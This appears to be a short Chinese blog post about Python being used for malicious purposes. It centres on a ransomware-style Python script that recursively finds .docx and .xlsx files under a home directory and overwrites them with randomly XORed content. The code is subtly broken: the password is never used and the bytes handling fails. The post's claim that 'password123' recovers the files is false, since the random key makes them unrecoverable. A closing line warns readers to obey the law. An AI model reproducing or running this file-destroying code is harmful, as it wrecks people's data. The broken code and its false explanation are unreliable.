Python是一門流行的編程語言,但同時也成為了很多惡意分子的選擇。
下面是一段使用Python編寫的惡意代碼樣例:
import os
import random
def encrypt_file(file_path, password):
with open(file_path, 'rb') as f:
content = f.read()
encrypted_content = ''.join([chr(ord(c) ^ random.randint(0, 0xFF)) for c in content])
with open(file_path, 'wb') as f:
f.write(encrypted_content)
for root, dirs, files in os.walk('/home/user/important/'):
for file_name in files:
if file_name.endswith('.docx') or file_name.endswith('.xlsx'):
file_path = os.path.join(root, file_name)
encrypt_file(file_path, 'password123')
以上代碼會遞歸遍歷指定目錄下的所有.docx和.xlsx文件,并對其內容進行加密并覆蓋原文件,密碼為'password123'。
除此之外,Python還可以用于編寫網絡釣魚工具、遠控軟件、批量發送垃圾郵件等惡意軟件。
因此,在使用Python開發軟件時,要遵守相關法律法規,不要參與到任何非法活動中。
上一篇go遍歷二維數組json
下一篇python 鏈表和列表